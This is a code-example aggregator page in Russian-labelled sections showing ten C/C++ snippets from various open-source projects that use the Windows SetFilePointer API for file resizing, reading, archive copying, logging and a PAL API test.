Пример #1
1
int
main(int argc, char **argv)
{
  LARGE_INTEGER FileSize;
  HANDLE hFile;
  char cSuffix;
  BOOL bSetSparse = FALSE;
  DWORD dw;

  if (argc == 4)
    if (strcmpi(argv[1], "-s") == 0)
      {
	bSetSparse = TRUE;
	argc--;
	argv++;
      }

  if (argc != 3)
    {
      puts("CHSIZE32.EXE - freeware by Olof Lagerkvist.\r\n"
	   "http://www.ltr-data.se      [email protected]\r\n"
	   "Utility to change size of an existing file, or create a new file with specified"
	   "size.\r\n"
	   "\n"
	   "Syntax:\r\n"
	   "\n"
	   "CHSIZE32 [-s] file size[K|M|G|T]\r\n"
	   "\n"
	   "-s      Set sparse attribute.");
      return 0;
    }
  
  switch (sscanf(argv[2], "%I64i%c", &FileSize, &cSuffix))
    {
    case 2:
      switch (cSuffix)
	{
	case 0:
	  break;
	case 'T': case 't':
	  FileSize.QuadPart <<= 10;
	case 'G': case 'g':
	  FileSize.QuadPart <<= 10;
	case 'M': case 'm':
	  FileSize.QuadPart <<= 10;
	case 'K': case 'k':
	  FileSize.QuadPart <<= 10;
	  break;
	default:
	  fprintf(stderr, "Unknown size extension: %c\n", cSuffix);
	  return 1;
	}

    case 1:
      break;

    default:
      fprintf(stderr, "Expected file size, got \"%s\"\n", argv[2]);
      return 1;
    }

  hFile = CreateFile(argv[1], GENERIC_READ | GENERIC_WRITE,
		     FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,
		     FILE_ATTRIBUTE_NORMAL, NULL);
  
  if (hFile == INVALID_HANDLE_VALUE)
    {
      win_perror(argv[1]);
      return 1;
    }

  if (bSetSparse)
    if (!DeviceIoControl(hFile, FSCTL_SET_SPARSE, NULL, 0, NULL, 0, &dw, NULL))
      win_perror("Error setting sparse attribute");

  if ((SetFilePointer(hFile, FileSize.LowPart, &FileSize.HighPart,
		      FILE_BEGIN) == 0xFFFFFFFF) ?
      (GetLastError() != NO_ERROR) : FALSE)
    {
      win_perror(NULL);
      return 1;
    }

  if (SetEndOfFile(hFile))
    return 0;

  win_perror(NULL);
  return 1;
}
Пример #2
0
	free(t_path);
	return filerr;
}


//============================================================
//  osd_read
//============================================================

file_error osd_read(osd_file *file, void *buffer, UINT64 offset, UINT32 length, UINT32 *actual)
{
	LONG upper = offset >> 32;
	DWORD result;

	// attempt to set the file pointer
	result = SetFilePointer(file->handle, (UINT32)offset, &upper, FILE_BEGIN);
	if (result == INVALID_SET_FILE_POINTER)
	{
		DWORD error = GetLastError();
		if (error != NO_ERROR)
			return win_error_to_file_error(error);
	}

	// then perform the read
	if (!ReadFile(file->handle, buffer, length, &result, NULL))
		return win_error_to_file_error(GetLastError());
	if (actual != NULL)
		*actual = result;
	return FILERR_NONE;
}
Пример #3
0
// Copies all file blocks into another archive.
// TODO: Test for archives > 4GB
static int CopyMpqFileBlocks(
    HANDLE hFile,
    TMPQArchive * ha,
    TMPQBlockEx * pBlockEx,
    TMPQBlock * pBlock,
    DWORD dwSeed)
{
    LARGE_INTEGER FilePos = {0};
    DWORD * pdwBlockPos2 = NULL;        // File block positions to be written to target file
    DWORD * pdwBlockPos = NULL;         // File block positions (unencrypted)
    BYTE  * pbBlock = NULL;             // Buffer for the file block
    DWORD dwTransferred;                // Number of bytes transferred
    DWORD dwCSize = 0;                  // Compressed file size
    DWORD dwBytes = 0;                  // Number of bytes
    DWORD dwSeed1 = 0;                  // File seed used for decryption
    DWORD dwSeed2 = 0;                  // File seed used for encryption
    DWORD nBlocks = 0;                  // Number of file blocks
    DWORD nBlock = 0;                   // Currently processed file block
    int nError = ERROR_SUCCESS;

    // When file length is zero, do nothing
    if(pBlock->dwFSize == 0)
        return ERROR_SUCCESS;

    // Calculate number of blocks in the file
    if(nError == ERROR_SUCCESS)
    {
        nBlocks = pBlock->dwFSize / ha->dwBlockSize;
        if(pBlock->dwFSize % ha->dwBlockSize)
            nBlocks++;
        pbBlock = ALLOCMEM(BYTE, ha->dwBlockSize);
        if(pbBlock == NULL)
            nError = ERROR_NOT_ENOUGH_MEMORY;
    }

    // Set the position to the begin of the file within archive
    if(nError == ERROR_SUCCESS)
    {
        FilePos.HighPart = pBlockEx->wFilePosHigh;
        FilePos.LowPart = pBlock->dwFilePos;
        FilePos.QuadPart += ha->MpqPos.QuadPart;
        if(SetFilePointer(ha->hFile, FilePos.LowPart, &FilePos.HighPart, FILE_BEGIN) != FilePos.LowPart)
            nError = GetLastError();
    }

    // Remember the position in the destination file
    if(nError == ERROR_SUCCESS)
    {
        FilePos.HighPart = 0;
        FilePos.LowPart = SetFilePointer(hFile, 0, &FilePos.HighPart, FILE_CURRENT);
    }

    // Resolve decryption seeds. The 'dwSeed' parameter is the decryption
    // seed for the file.
    if(nError == ERROR_SUCCESS && (pBlock->dwFlags & MPQ_FILE_ENCRYPTED))
    {
        dwSeed1 = dwSeed;
        if(pBlock->dwFlags & MPQ_FILE_FIXSEED)
            dwSeed = (dwSeed1 ^ pBlock->dwFSize) - pBlock->dwFilePos;

        dwSeed2 = dwSeed;
        if(pBlock->dwFlags & MPQ_FILE_FIXSEED)
            dwSeed2 = (dwSeed + (DWORD)(FilePos.QuadPart - ha->MpqPos.QuadPart)) ^ pBlock->dwFSize;
    }

    // Load the file positions from the archive and save it to the target file
    // (only if the file is compressed)
    if(pBlock->dwFlags & MPQ_FILE_COMPRESSED)
    {
        // Allocate buffers
        if(nError == ERROR_SUCCESS)
        {
            pdwBlockPos = ALLOCMEM(DWORD, nBlocks + 2);
            pdwBlockPos2 = ALLOCMEM(DWORD, nBlocks + 2);

            if(pdwBlockPos == NULL || pdwBlockPos2 == NULL)
                nError = ERROR_NOT_ENOUGH_MEMORY;
        }

        // Load the block positions
        if(nError == ERROR_SUCCESS)
        {
            dwBytes = (nBlocks + 1) * sizeof(DWORD);
            if(pBlock->dwFlags & MPQ_FILE_HAS_EXTRA)
                dwBytes += sizeof(DWORD);

            ReadFile(ha->hFile, pdwBlockPos, dwBytes, &dwTransferred, NULL);
            if(dwTransferred != dwBytes)
                nError = ERROR_FILE_CORRUPT;
        }

        // Re-encrypt the block table positions
        if(nError == ERROR_SUCCESS)
        {
            BSWAP_ARRAY32_UNSIGNED(pdwBlockPos, dwBytes / sizeof(DWORD));
            if(pBlock->dwFlags & MPQ_FILE_ENCRYPTED)
            {
                DecryptMPQBlock(pdwBlockPos, dwBytes, dwSeed1 - 1);
                if(pdwBlockPos[0] != dwBytes)
                    nError = ERROR_FILE_CORRUPT;
            
                memcpy(pdwBlockPos2, pdwBlockPos, dwBytes);
                EncryptMPQBlock(pdwBlockPos2, dwBytes, dwSeed2 - 1);
            }
            else
            {
                memcpy(pdwBlockPos2, pdwBlockPos, dwBytes);
            }
            BSWAP_ARRAY32_UNSIGNED(pdwBlockPos2, dwBytes / sizeof(DWORD));
        }

        // Write to the target file
        if(nError == ERROR_SUCCESS)
        {
            WriteFile(hFile, pdwBlockPos2, dwBytes, &dwTransferred, NULL);
            dwCSize += dwTransferred;
            if(dwTransferred != dwBytes)
                nError = ERROR_DISK_FULL;
        }
    }

    // Now we have to copy all file block. We will do it without
    // recompression, because re-compression is not necessary in this case
    if(nError == ERROR_SUCCESS)
    {
        for(nBlock = 0; nBlock < nBlocks; nBlock++)
        {
            // Fix: The last block must not be exactly the size of one block.
            dwBytes = ha->dwBlockSize;
            if(nBlock == nBlocks - 1)
            {
                dwBytes = pBlock->dwFSize - (ha->dwBlockSize * (nBlocks - 1));
            }

            if(pBlock->dwFlags & MPQ_FILE_COMPRESSED)
                dwBytes = pdwBlockPos[nBlock+1] - pdwBlockPos[nBlock];

            // Read the file block
            ReadFile(ha->hFile, pbBlock, dwBytes, &dwTransferred, NULL);
            if(dwTransferred != dwBytes)
            {
                nError = ERROR_FILE_CORRUPT;
                break;
            }

            // If necessary, re-encrypt the block
            // Note: Recompression is not necessary here. Unlike encryption, 
            // the compression does not depend on the position of the file in MPQ.
            if((pBlock->dwFlags & MPQ_FILE_ENCRYPTED) && dwSeed1 != dwSeed2)
            {
                BSWAP_ARRAY32_UNSIGNED((DWORD *)pbBlock, dwBytes/sizeof(DWORD));
                DecryptMPQBlock((DWORD *)pbBlock, dwBytes, dwSeed1 + nBlock);
                EncryptMPQBlock((DWORD *)pbBlock, dwBytes, dwSeed2 + nBlock);
                BSWAP_ARRAY32_UNSIGNED((DWORD *)pbBlock, dwBytes/sizeof(DWORD));
            }

            // Now write the block back to the file
            WriteFile(hFile, pbBlock, dwBytes, &dwTransferred, NULL);
            dwCSize += dwTransferred;
            if(dwTransferred != dwBytes)
            {
                nError = ERROR_DISK_FULL;
                break;
            }
        }
    }

    // Copy the file extras, if any
    // These extras does not seem to be encrypted, and their purpose is unknown
    if(nError == ERROR_SUCCESS && (pBlock->dwFlags & MPQ_FILE_HAS_EXTRA))
    {
        dwBytes = pdwBlockPos[nBlocks + 1] - pdwBlockPos[nBlocks];
        if(dwBytes != 0)
        {
            ReadFile(ha->hFile, pbBlock, dwBytes, &dwTransferred, NULL);
            if(dwTransferred == dwBytes)
            {
                WriteFile(hFile, pbBlock, dwBytes, &dwTransferred, NULL);
                dwCSize += dwTransferred;
                if(dwTransferred != dwBytes)
                    nError = ERROR_DISK_FULL;
            }
            else
            {
                nError = ERROR_FILE_CORRUPT;
            }
        }
    }

    // Update file position in the block table
    if(nError == ERROR_SUCCESS)
    {
        // At this point, number of bytes written should be exactly
        // the same like the compressed file size. If it isn't, there's something wrong
        // (maybe new archive version ?)
        assert(dwCSize == pBlock->dwCSize);

        // Update file pos in the block table
        FilePos.QuadPart -= ha->MpqPos.QuadPart;
        pBlockEx->wFilePosHigh = (USHORT)FilePos.HighPart;
        pBlock->dwFilePos = FilePos.LowPart;
    }

    // Cleanup and return
    if(pdwBlockPos2 != NULL)
        FREEMEM(pdwBlockPos2);
    if(pdwBlockPos != NULL)
        FREEMEM(pdwBlockPos);
    if(pbBlock != NULL)
        FREEMEM(pbBlock);
    return nError;
}
Пример #4
0
/******************************************************************
 *             CloseEnhMetaFile (GDI32.@)
 */
HENHMETAFILE WINAPI CloseEnhMetaFile(HDC hdc) /* [in] metafile DC */
{
    HENHMETAFILE hmf;
    EMFDRV_PDEVICE *physDev;
    DC *dc;
    EMREOF emr;
    HANDLE hMapping = 0;

    TRACE("(%p)\n", hdc );

    if (!(dc = get_dc_ptr( hdc ))) return NULL;
    if (dc->header.type != OBJ_ENHMETADC)
    {
        release_dc_ptr( dc );
        return NULL;
    }
    if (dc->refcount != 1)
    {
        FIXME( "not deleting busy DC %p refcount %u\n", hdc, dc->refcount );
        release_dc_ptr( dc );
        return NULL;
    }
    physDev = (EMFDRV_PDEVICE *)dc->physDev;

    if(dc->saveLevel)
        RestoreDC(hdc, 1);

    if (physDev->dc_brush) DeleteObject( physDev->dc_brush );
    if (physDev->dc_pen) DeleteObject( physDev->dc_pen );

    emr.emr.iType = EMR_EOF;
    emr.emr.nSize = sizeof(emr);
    emr.nPalEntries = 0;
    emr.offPalEntries = FIELD_OFFSET(EMREOF, nSizeLast);
    emr.nSizeLast = emr.emr.nSize;
    EMFDRV_WriteRecord( dc->physDev, &emr.emr );

    /* Update rclFrame if not initialized in CreateEnhMetaFile */
    if(physDev->emh->rclFrame.left > physDev->emh->rclFrame.right) {
        physDev->emh->rclFrame.left = physDev->emh->rclBounds.left *
	  physDev->emh->szlMillimeters.cx * 100 / physDev->emh->szlDevice.cx;
        physDev->emh->rclFrame.top = physDev->emh->rclBounds.top *
	  physDev->emh->szlMillimeters.cy * 100 / physDev->emh->szlDevice.cy;
        physDev->emh->rclFrame.right = physDev->emh->rclBounds.right *
	  physDev->emh->szlMillimeters.cx * 100 / physDev->emh->szlDevice.cx;
        physDev->emh->rclFrame.bottom = physDev->emh->rclBounds.bottom *
	  physDev->emh->szlMillimeters.cy * 100 / physDev->emh->szlDevice.cy;
    }

    if (physDev->hFile)  /* disk based metafile */
    {
        if (SetFilePointer(physDev->hFile, 0, NULL, FILE_BEGIN) != 0)
        {
            CloseHandle( physDev->hFile );
            free_dc_ptr( dc );
            return 0;
        }

        if (!WriteFile(physDev->hFile, physDev->emh, sizeof(*physDev->emh),
                       NULL, NULL))
        {
            CloseHandle( physDev->hFile );
            free_dc_ptr( dc );
            return 0;
        }
	HeapFree( GetProcessHeap(), 0, physDev->emh );
        hMapping = CreateFileMappingA(physDev->hFile, NULL, PAGE_READONLY, 0,
				      0, NULL);
	TRACE("hMapping = %p\n", hMapping );
	physDev->emh = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
	TRACE("view = %p\n", physDev->emh );
        CloseHandle( hMapping );
        CloseHandle( physDev->hFile );
    }

    hmf = EMF_Create_HENHMETAFILE( physDev->emh, (physDev->hFile != 0) );
    physDev->emh = NULL;  /* So it won't be deleted */
    free_dc_ptr( dc );
    return hmf;
}
Пример #5
0
static PyObject *
mmap_resize_method(mmap_object *self,
                   PyObject *args)
{
    Py_ssize_t new_size;
    CHECK_VALID(NULL);
    if (!PyArg_ParseTuple(args, "n:resize", &new_size) ||
            !is_resizeable(self)) {
        return NULL;
#ifdef MS_WINDOWS
    } else {
        DWORD dwErrCode = 0;
        DWORD newSizeLow, newSizeHigh;
        /* First, unmap the file view */
        UnmapViewOfFile(self->data);
        /* Close the mapping object */
        CloseHandle(self->map_handle);
        /* Move to the desired EOF position */
#if SIZEOF_SIZE_T > 4
        newSizeHigh = (DWORD)(new_size >> 32);
        newSizeLow = (DWORD)(new_size & 0xFFFFFFFF);
#else
        newSizeHigh = 0;
        newSizeLow = (DWORD)new_size;
#endif
        SetFilePointer(self->file_handle,
                       newSizeLow, &newSizeHigh, FILE_BEGIN);
        /* Change the size of the file */
        SetEndOfFile(self->file_handle);
        /* Create another mapping object and remap the file view */
        self->map_handle = CreateFileMapping(
                               self->file_handle,
                               NULL,
                               PAGE_READWRITE,
                               newSizeHigh,
                               newSizeLow,
                               self->tagname);
        if (self->map_handle != NULL) {
            self->data = (char *) MapViewOfFile(self->map_handle,
                                                FILE_MAP_WRITE,
                                                0,
                                                0,
                                                0);
            if (self->data != NULL) {
                self->size = new_size;
                Py_INCREF(Py_None);
                return Py_None;
            } else {
                dwErrCode = GetLastError();
            }
        } else {
            dwErrCode = GetLastError();
        }
        PyErr_SetFromWindowsErr(dwErrCode);
        return NULL;
#endif /* MS_WINDOWS */

#ifdef UNIX
#ifndef HAVE_MREMAP
    }
    else {
Пример #6
0
int __cdecl main(int argc, char *argv[])
{
    HANDLE hFile = NULL;
    DWORD dwOffset = 0;
    DWORD dwHighOrder = 0;
    DWORD dwReturnedOffset = 0;
    DWORD dwReturnedHighOrder = 0;
    DWORD dwRc = 0;

    if (0 != PAL_Initialize(argc,argv))
    {
        return FAIL;
    }

    /* create a test file */
    hFile = CreateFile(szTextFile,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if(hFile == INVALID_HANDLE_VALUE)
    {
        Fail("SetFilePointer: ERROR -> Unable to create file \"%s\".\n",
            szTextFile);
    }


    /* move waaaay before the beginning which should fail */
    dwHighOrder = -1;
    dwOffset = 0;
    dwRc = SetFilePointer(hFile, dwOffset, &dwHighOrder, FILE_CURRENT);
    if (dwRc != INVALID_SET_FILE_POINTER)
    {
        Trace("SetFilePointer: ERROR -> Succeeded to move the pointer "
            "before the beginning of the file.\n");
        if (CloseHandle(hFile) != TRUE)
        {
            Trace("SetFilePointer: ERROR -> Unable to close file \"%s\".\n",
                szTextFile);
        }
        if (!DeleteFileA(szTextFile))
        {
            Trace("SetFilePointer: ERROR -> Unable to delete file \"%s\".\n",
                szTextFile);
        }
        PAL_Terminate();
        return FAIL;
    }

    /* move the pointer ahead in the file and verify */
    dwHighOrder = 1;
    dwOffset = 10;
    dwRc = SetFilePointer(hFile, dwOffset, &dwHighOrder, FILE_CURRENT);
    if ((dwRc != 10) || (dwHighOrder != 1))
    {
        Trace("SetFilePointer: ERROR -> Asked to move 2GB plus 10 bytes from "
            "the beginning of the file but didn't.\n");
        if (CloseHandle(hFile) != TRUE)
        {
            Trace("SetFilePointer: ERROR -> Unable to close file \"%s\".\n",
                szTextFile);
        }
        if (!DeleteFileA(szTextFile))
        {
            Trace("SetFilePointer: ERROR -> Unable to delete file \"%s\".\n",
                szTextFile);
        }
        PAL_Terminate();
        return FAIL;
    }
    else
    {
        /* verify results */
        if (SetEndOfFile(hFile) != TRUE)
        {
            Trace("SetFilePointer: ERROR -> Call to SetEndOfFile failed with "
                "error code: %d\n", GetLastError());
            if (CloseHandle(hFile) != TRUE)
            {
                Trace("SetFilePointer: ERROR -> Unable to close file"
                      " \"%s\".\n", szTextFile);
            }
            if (!DeleteFileA(szTextFile))
            {
                Trace("SetFilePointer: ERROR -> Unable to delete file"
                      " \"%s\".\n", szTextFile);
            }
            PAL_Terminate();
            return FAIL;
        }
        dwReturnedOffset = GetFileSize(hFile, &dwReturnedHighOrder);
        if ((dwReturnedOffset != dwOffset) ||
            (dwReturnedHighOrder != dwHighOrder))
        {
            Trace("SetFilePointer: ERROR -> Asked to move far past the "
                "current file pointer. "
                "low order sent: %ld  low order returned: %ld "
                "high order sent: %ld  high order returned: %ld",
                dwOffset, dwReturnedOffset,
                dwHighOrder, dwReturnedHighOrder);
            if (!DeleteFileA(szTextFile))
            {
                Trace("SetFilePointer: ERROR -> Unable to delete file"
                      " \"%s\".\n", szTextFile);
            }
            PAL_Terminate();
            return FAIL;
        }
    }


    /*
     * move the pointer backwards in the file and verify
     */
    dwOffset = 0;
    dwHighOrder = -1;
    dwRc = SetFilePointer(hFile, dwOffset, &dwHighOrder, FILE_CURRENT);
    if (dwRc != 10)
    {
        Trace("SetFilePointer: ERROR -> Asked to move back to 10 bytes from the"
            "beginning of the file but moved it to position %ld.\n", dwRc);
        if (CloseHandle(hFile) != TRUE)
        {
            Trace("SetFilePointer: ERROR -> Unable to close file \"%s\".\n",
                szTextFile);
        }
        if (!DeleteFileA(szTextFile))
        {
            Trace("SetFilePointer: ERROR -> Unable to delete file \"%s\".\n",
                szTextFile);
        }
        PAL_Terminate();
        return FAIL;
    }
    else
    {
        /* verify results */
        dwReturnedHighOrder = 0;
        dwRc = SetFilePointer(hFile, 0, &dwReturnedHighOrder, FILE_CURRENT);
        if (dwRc != 10)
        {
            Trace("SetFilePointer: ERROR -> Asked for current position. "
                "Should be 10 but was %ld.\n", dwRc);
            if (CloseHandle(hFile) != TRUE)
            {
                Trace("SetFilePointer: ERROR -> Unable to close file"
                      " \"%s\".\n", szTextFile);
            }
            if (!DeleteFileA(szTextFile))
            {
                Trace("SetFilePointer: ERROR -> Unable to delete file"
                      " \"%s\".\n", szTextFile);
            }
            PAL_Terminate();
            return FAIL;
        }
    }


    /* clean up, clean up, everybody do their share... */
    if (CloseHandle(hFile) != TRUE)
    {
        Trace("SetFilePointer: ERROR -> Unable to close file \"%s\".\n", 
            szTextFile);
        if (!DeleteFileA(szTextFile))
        {
            Trace("SetFilePointer: ERROR -> Unable to delete file \"%s\".\n", 
                szTextFile);
        }
        PAL_Terminate();
        return FAIL;
    }

    if (!DeleteFileA(szTextFile))
    {
        Fail("SetFilePointer: ERROR -> Unable to delete file \"%s\".\n", 
            szTextFile);
    }

    PAL_Terminate();
    return PASS;
}
Пример #7
0
bool 
SPFS::ReadFileData(DWORD offset,DWORD size,void* lpBuffer,DWORD numberOfBytesToRead,DWORD& lpNumberOfBytesRead)
	{
	DWORD readCt        = 0; // count of readed bytes.
	lpNumberOfBytesRead = 0; // written size is zero.

	// move file pointer in founded file offset.
	if( SetFilePointer(_hPackFile,0L,NULL,FILE_BEGIN)       != 0 ||
		SetFilePointer(_hPackFile,offset,NULL,FILE_CURRENT) != offset  )
		return false;
	
	// check if file size is less then number of bytes to read.
	if( numberOfBytesToRead > size ) return false;
	// write founded file data into memory. {{
	// if file data section size minus file data header size is great or equal then number of bytes to read.
	if( numberOfBytesToRead <= _pHeader->fDataSecSz-sizeof(PACK_FS_HEADER) )
		{
		if( SetFilePointer(_hPackFile,sizeof(PACK_FS_HEADER),NULL,FILE_CURRENT) != offset+sizeof(PACK_FS_HEADER) )
			return false;

		if( !ReadFile(_hPackFile,lpBuffer,numberOfBytesToRead,&readCt,NULL) ||
					readCt != numberOfBytesToRead )               
			return false;

		// Post read file section.
		if( m_procPostReadFileSection )
			(m_procPostReadFileSection)(lpBuffer, readCt);
		// #######################

		lpNumberOfBytesRead = readCt;
		}
	else
		{
		int         ReadMin = 0; 
		PACK_FS_HEADER fsHeader;

		while( numberOfBytesToRead  )
			{
			ReadMin     = min(numberOfBytesToRead,_pHeader->fDataSecSz-sizeof(PACK_FS_HEADER));
			// read file data section header.
			if( !ReadFile(_hPackFile,&fsHeader,sizeof(PACK_FS_HEADER),&readCt,NULL) ||
			    readCt != sizeof(PACK_FS_HEADER) ) return false;
			// check for file data section.
			if( fsHeader.start != 0x61746164 )     return false;/*"data"*/
			// read file data section.
			if( !ReadFile(_hPackFile,lpBuffer,ReadMin,&readCt,NULL) ||
                readCt != ReadMin )                return false;

			// Post read file section.
			if( m_procPostReadFileSection )
				(m_procPostReadFileSection)(lpBuffer, readCt);
			// #######################

			lpNumberOfBytesRead += readCt;
			lpBuffer             =  (void*)((int)lpBuffer + readCt);
			numberOfBytesToRead -= readCt;
			// change pack file offset.
			offset              += _pHeader->fDataSecSz;

			// move file pointer to the next file data section.
			if( numberOfBytesToRead )
				{
				if( SetFilePointer(_hPackFile,fsHeader.offsetSecNext-offset,NULL,FILE_CURRENT) == (DWORD)-1 )
					return false;
				offset           = fsHeader.offsetSecNext;
				}
			}
		}
		return true;
	}
Пример #8
0
VOID InitLogging()
{
    STATIC_CONTRACT_NOTHROW;
    
        // <TODO>FIX bit of a workaround for now, check for the log file in the
        // registry and if there, turn on file logging VPM</TODO>
    
    LogFlags |= REGUTIL::GetConfigFlag_DontUse_(CLRConfig::INTERNAL_LogEnable, LOG_ENABLE);    
    LogFacilityMask = REGUTIL::GetConfigDWORD_DontUse_(CLRConfig::INTERNAL_LogFacility, LogFacilityMask) | LF_ALWAYS;
    LogVMLevel = REGUTIL::GetConfigDWORD_DontUse_(CLRConfig::EXTERNAL_LogLevel, LogVMLevel);
    LogFlags |= REGUTIL::GetConfigFlag_DontUse_(CLRConfig::INTERNAL_LogFileAppend, LOG_ENABLE_APPEND_FILE);
    LogFlags |= REGUTIL::GetConfigFlag_DontUse_(CLRConfig::INTERNAL_LogFlushFile,  LOG_ENABLE_FLUSH_FILE);
    LogFlags |= REGUTIL::GetConfigFlag_DontUse_(CLRConfig::INTERNAL_LogToDebugger, LOG_ENABLE_DEBUGGER_LOGGING);
    LogFlags |= REGUTIL::GetConfigFlag_DontUse_(CLRConfig::INTERNAL_LogToFile,     LOG_ENABLE_FILE_LOGGING);
    LogFlags |= REGUTIL::GetConfigFlag_DontUse_(CLRConfig::INTERNAL_LogToConsole,  LOG_ENABLE_CONSOLE_LOGGING);
    
    LogFacilityMask2 = REGUTIL::GetConfigDWORD_DontUse_(CLRConfig::INTERNAL_LogFacility2, LogFacilityMask2) | LF_ALWAYS;

    LPWSTR fileName = CLRConfig::GetConfigValue(CLRConfig::INTERNAL_LogFile);
    if (fileName != 0)
    {
        int ret;
        ret = WszWideCharToMultiByte(CP_ACP, 0, fileName, -1, szLogFileName, sizeof(szLogFileName)-1, NULL, NULL);
        _ASSERTE(ret != 0);
        delete fileName;
    }

    if (REGUTIL::GetConfigDWORD_DontUse_(CLRConfig::INTERNAL_LogWithPid, FALSE))
    {
        char szPid[20];
        sprintf_s(szPid, COUNTOF(szPid), ".%d", GetCurrentProcessId());
        strcat_s(szLogFileName, _countof(szLogFileName), szPid);
    }

    if ((LogFlags & LOG_ENABLE) &&
        (LogFlags & LOG_ENABLE_FILE_LOGGING) &&
        (LogFileHandle == INVALID_HANDLE_VALUE))
    {
        DWORD fdwCreate = (LogFlags & LOG_ENABLE_APPEND_FILE) ? OPEN_ALWAYS : CREATE_ALWAYS;
        LogFileHandle = CreateFileA(
            szLogFileName,
            GENERIC_WRITE,
            FILE_SHARE_READ,
            NULL,
            fdwCreate,
            FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN |  ((LogFlags & LOG_ENABLE_FLUSH_FILE) ? FILE_FLAG_WRITE_THROUGH : 0),
            NULL);

        if(0 == LogFileMutex)
        {
            LogFileMutex = ClrCreateMutex(
                NULL,
                FALSE,
                NULL);
            _ASSERTE(LogFileMutex != 0);
        }

            // Some other logging may be going on, try again with another file name
        if (LogFileHandle == INVALID_HANDLE_VALUE)
        {
            char* ptr = szLogFileName + strlen(szLogFileName) + 1;
            ptr[-1] = '.';
            ptr[0] = '0';
            ptr[1] = 0;

            for(int i = 0; i < 10; i++)
            {
                LogFileHandle = CreateFileA(
                    szLogFileName,
                    GENERIC_WRITE,
                    FILE_SHARE_READ,
                    NULL,
                    fdwCreate,
                    FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN |  ((LogFlags & LOG_ENABLE_FLUSH_FILE) ? FILE_FLAG_WRITE_THROUGH : 0),
                    NULL);
                if (LogFileHandle != INVALID_HANDLE_VALUE)
                    break;
                *ptr = *ptr + 1;
            }
            if (LogFileHandle == INVALID_HANDLE_VALUE) {
                DWORD       written;
                char buff[MAX_PATH+60];
                strcpy(buff, "Could not open log file, logging to ");
                strcat_s(buff, _countof(buff), szLogFileName);
                // ARULM--Changed WriteConsoleA to WriteFile to be CE compat
                WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), buff, (DWORD)strlen(buff), &written, 0);
                }
        }
        if (LogFileHandle == INVALID_HANDLE_VALUE)
            UtilMessageBoxNonLocalized(NULL, W("Could not open log file"), W("CLR logging"), MB_OK | MB_ICONINFORMATION, FALSE, TRUE);
        if (LogFileHandle != INVALID_HANDLE_VALUE)
        {
            if (LogFlags & LOG_ENABLE_APPEND_FILE)
                SetFilePointer(LogFileHandle, 0, NULL, FILE_END);
            LogSpew( LF_ALWAYS, FATALERROR, "************************ New Output *****************\n" );
        }
    }
}
Пример #9
0
INT CIoSupport::ReadSector(HANDLE hDevice, DWORD dwSector, LPSTR lpczBuffer)

{
  DWORD dwRead;
  DWORD dwSectorSize = 2048;

#if defined(TARGET_DARWIN) && defined(HAS_DVD_DRIVE)
  dk_cd_read_t cd_read;
  memset( &cd_read, 0, sizeof(cd_read) );

  cd_read.sectorArea  = kCDSectorAreaUser;
  cd_read.buffer      = lpczBuffer;

  cd_read.sectorType  = kCDSectorTypeMode1;
  cd_read.offset      = dwSector * kCDSectorSizeMode1;

  cd_read.bufferLength = 2048;

  if( ioctl(hDevice->fd, DKIOCCDREAD, &cd_read ) == -1 )
  {
    return -1;
  }
  return 2048;
#elif defined(_LINUX)
  if (hDevice->m_bCDROM)
  {
    int fd = hDevice->fd;

    // seek to requested sector
    off_t offset = (off_t)dwSector * (off_t)MODE1_DATA_SIZE;

    if (lseek(fd, offset, SEEK_SET) < 0)
    {
      CLog::Log(LOGERROR, "CD: ReadSector Request to read sector %d\n", (int)dwSector);
      CLog::Log(LOGERROR, "CD: ReadSector error: %s\n", strerror(errno));
      OutputDebugString("CD Read error\n");
      return (-1);
    }

    // read data block of this sector
    while (read(fd, lpczBuffer, MODE1_DATA_SIZE) < 0)
    {
      // read was interrupted - try again
      if (errno == EINTR)
        continue;

      // error reading sector
      CLog::Log(LOGERROR, "CD: ReadSector Request to read sector %d\n", (int)dwSector);
      CLog::Log(LOGERROR, "CD: ReadSector error: %s\n", strerror(errno));
      OutputDebugString("CD Read error\n");
      return (-1);
    }

    return MODE1_DATA_SIZE;
  }
#endif
  LARGE_INTEGER Displacement;
  Displacement.QuadPart = ((INT64)dwSector) * dwSectorSize;

  for (int i = 0; i < 5; i++)
  {
    SetFilePointer(hDevice, Displacement.u.LowPart, &Displacement.u.HighPart, FILE_BEGIN);

    if (ReadFile(hDevice, m_rawXferBuffer, dwSectorSize, &dwRead, NULL))
    {
      memcpy(lpczBuffer, m_rawXferBuffer, dwSectorSize);
      return dwRead;
    }
  }

  OutputDebugString("CD Read error\n");
  return -1;
}
Пример #10
0
INT
copy(TCHAR source[MAX_PATH],
     TCHAR dest[MAX_PATH],
     INT append,
     DWORD lpdwFlags,
     BOOL bTouch)
{
    FILETIME srctime,NewFileTime;
    HANDLE hFileSrc;
    HANDLE hFileDest;
    LPBYTE buffer;
    DWORD  dwAttrib;
    DWORD  dwRead;
    DWORD  dwWritten;
    BOOL   bEof = FALSE;
    TCHAR TrueDest[MAX_PATH];
    TCHAR TempSrc[MAX_PATH];
    TCHAR * FileName;
    SYSTEMTIME CurrentTime;

    /* Check Breaker */
    if (CheckCtrlBreak(BREAK_INPUT))
        return 0;

    TRACE ("checking mode\n");

    if (bTouch)
    {
        hFileSrc = CreateFile (source, GENERIC_WRITE, FILE_SHARE_READ,
            NULL, OPEN_EXISTING, 0, NULL);
        if (hFileSrc == INVALID_HANDLE_VALUE)
        {
            ConOutResPrintf(STRING_COPY_ERROR1, source);
            nErrorLevel = 1;
            return 0;
        }

        GetSystemTime(&CurrentTime);
        SystemTimeToFileTime(&CurrentTime, &NewFileTime);
        if (SetFileTime(hFileSrc,(LPFILETIME) NULL, (LPFILETIME) NULL, &NewFileTime))
        {
            CloseHandle(hFileSrc);
            nErrorLevel = 1;
            return 1;

        }
        else
        {
            CloseHandle(hFileSrc);
            return 0;
        }
    }

    dwAttrib = GetFileAttributes (source);

    hFileSrc = CreateFile (source, GENERIC_READ, FILE_SHARE_READ,
        NULL, OPEN_EXISTING, 0, NULL);
